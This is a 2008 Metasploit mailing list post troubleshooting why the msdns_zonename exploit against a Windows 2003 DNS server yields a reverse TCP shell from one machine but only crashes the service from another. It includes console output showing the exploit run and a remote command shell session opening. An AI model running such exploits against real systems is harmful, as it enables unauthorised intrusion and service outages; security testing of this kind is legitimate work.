Metasploit mailing list archives

Bug in Ruby?


From: dejan.rodiger at ck.t-com.hr (Dejan Rodiger)
Date: Tue, 27 May 2008 19:26:48 +0200

Hi All,

I have two Metasploit installations. One is on my ubuntu 8.04 with
latest patches where I installed Metasploit with svn co and svn update.
The other is my BackTrack3 vmware machine with Metasploit that comes
with the latest BT3 Beta iso.
I was testing windows/dcerpc/msdns_zonename from my ubuntu machine. The
target was Windows 2003 R2 with DNS server. When I tried to exploit, I
didn't get Commad prompt, but I saw that DNS service was down on the
Windows 2003 server (so it killed the service). Then I tried the same
from my BT3 vmware machine and I got command prompt
(windows/shell/reverse_tcp).

This is ubuntu session:

[*] Started reverse handler
[*] Connecting to the endpoint mapper service...
[*] Discovered Microsoft DNS Server RPC service on port 1028
[*] Trying target Windows 2003 Server SP1-SP2 English...
[*] Binding to
50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0 at ncacn_ip_tcp:192.168.250.10[0] ...
[*] Bound to
50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0 at ncacn_ip_tcp:192.168.250.10[0] ...
[*] Sending exploit...
[*] Error: no response from dcerpc service
[*] Sending stage (501 bytes)
[*] Command shell session 1 opened (192.168.250.1:4445 ->
192.168.250.10:1035)
sessions -i 1
[*] Command shell session 1 closed.

But I didn't got command prompt.
The only difference is that from my BT3 session I got Command prompt and
session was not closed.

But I think this is not the only exploit that had problems on Ubuntu. I
tried several. From my testing I think there is a problem in Ruby
interpreter on Ubuntu.

Ubuntu:
ruby 1.8.6 (2007-09-24 patchlevel 111) [i486-linux]

BT3:
ruby 1.8.6 (2007-06-07 patchlevel 36) [i486-linux]

Dejan



Current thread: